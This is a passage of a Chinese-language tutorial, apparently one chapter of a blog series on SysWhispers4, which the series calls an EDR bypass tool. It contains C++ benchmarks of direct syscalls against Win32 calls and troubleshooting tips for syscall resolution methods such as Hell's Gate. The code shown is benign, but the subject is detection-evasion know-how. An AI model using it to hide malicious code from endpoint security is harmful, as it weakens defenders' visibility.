5. auto&nbsp;start&nbsp;=&nbsp;std::chrono::high_resolution_clock::now();

7. for(DWORD i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;iterations;&nbsp;i++){
8. LARGE_INTEGER delay&nbsp;={-1};
9. SW4_NtDelayExecution(FALSE,&delay);
10. }

12. auto&nbsp;end&nbsp;=&nbsp;std::chrono::high_resolution_clock::now();
13. std::chrono::duration<double,&nbsp;std::milli>&nbsp;elapsed&nbsp;=&nbsp;end&nbsp;-&nbsp;start;

15. return&nbsp;elapsed.count()/&nbsp;iterations;
16. }

18. int&nbsp;main(){
19. if(!SW4_Initialize())
20. return1;

22. double&nbsp;avgTime&nbsp;=MeasureSyscall(1000);
23. printf("Average syscall time: %.3f ms\n",&nbsp;avgTime);

25. return0;
26. }

对比 Win32 API vs Direct Syscall

1. voidComparePerformance(){
2. constint&nbsp;ITERATIONS&nbsp;=10000;

4. // Win32 API
5. auto&nbsp;start1&nbsp;=&nbsp;std::chrono::high_resolution_clock::now();
6. for(int&nbsp;i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;ITERATIONS;&nbsp;i++){
7. Sleep(0);
8. }
9. auto&nbsp;end1&nbsp;=&nbsp;std::chrono::high_resolution_clock::now();

11. // Direct Syscall
12. auto&nbsp;start2&nbsp;=&nbsp;std::chrono::high_resolution_clock::now();
13. for(int&nbsp;i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;ITERATIONS;&nbsp;i++){
14. LARGE_INTEGER delay&nbsp;={0};
15. SW4_NtDelayExecution(FALSE,&delay);
16. }
17. auto&nbsp;end2&nbsp;=&nbsp;std::chrono::high_resolution_clock::now();

19. auto&nbsp;time1&nbsp;=&nbsp;std::chrono::duration_cast<std::chrono::microseconds>(end1&nbsp;-&nbsp;start1).count();
20. auto&nbsp;time2&nbsp;=&nbsp;std::chrono::duration_cast<std::chrono::microseconds>(end2&nbsp;-&nbsp;start2).count();

22. printf("Win32 Sleep: %lu µs (%.2f µs/call)\n",&nbsp;time1,(double)time1/ITERATIONS);
23. printf("Direct Syscall: %lu µs (%.2f µs/call)\n",&nbsp;time2,(double)time2/ITERATIONS);
24. printf("Speedup: %.2fx\n",(double)time1/time2);
25. }

5.5 常见问题排查

问题 1:Initialize() 失败

症状:

1. [!]Initialization&nbsp;failed

排查步骤:

1. // 添加详细错误信息
2. BOOL result&nbsp;=&nbsp;SW4_Initialize();
3. printf("SW4_Initialize returned: %d\n",&nbsp;result);

5. if(!result){
6. DWORD error&nbsp;=GetLastError();
7. printf("GetLastError: %lu\n",&nbsp;error);
8. }

可能原因:

  • ntdll 导出表损坏
  • PEB 遍历失败
  • FreshyCalls 排序算法错误

解决方案:

  • 尝试其他解析方法: --resolve hells_gate
  • 使用静态表: --resolvestatic
  • 检查系统完整性

问题 2:syscall 返回 STATUSINVALIDPARAMETER

症状:

1. [!]NtAllocateVirtualMemory&nbsp;failed:0xC00000EF

排查步骤:

1. // 检查参数
2. printf("ProcessHandle: %p\n",&nbsp;hProcess);
3. printf("BaseAddress: %p\n",&base);
4. printf("RegionSize: %zu\n",&nbsp;size);

常见错误:

  • 传递了无效的句柄
  • 地址未对齐
  • 大小超出限制

问题 3:程序崩溃

症状:

1. Access&nbsp;violation&nbsp;-&nbsp;code c0000005

排查步骤:

1. // 添加异常处理
2. __try&nbsp;{
3. status&nbsp;=&nbsp;SW4_NtAllocateVirtualMemory(...);
4. }&nbsp;__except(EXCEPTION_EXECUTE_HANDLER){
5. printf("Exception occurred: 0x%08X\n",GetExceptionCode());
6. }

可能原因:

  • 栈未对齐(16 字节)
  • 参数类型错误
  • 使用了已释放的内存

总结

通过本章的学习,你应该能够:

✅ 环境搭建:正确安装 Python、编译器、SDK ✅ 代码生成:根据需求生成合适的 syscall 代码 ✅ 编译集成:将生成的代码集成到 MSVC/MinGW 项目 ✅ 实际调用:在 C/C++ 项目中正确使用 syscall ✅ 调试验证:使用各种工具调试和验证 syscall 执行

记住以下最佳实践:

  1. 始终调用 Initialize():在任何 syscall 之前
  2. 检查返回值:使用 NT_SUCCESS 判断成功
  3. 清理资源:使用 NtClose 关闭句柄
  4. 错误处理:添加适当的异常处理
  5. 调试优先:先在调试环境下测试

SysWhispers4 是一个强大的工具,但要充分发挥其威力,需要深入理解 Windows Internals 和系统调用机制。继续学习前面的章节,你会变得更强大!

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《edr绕过工具 SysWhispers4 源码分析系列(七)》

评论:0   参与:  0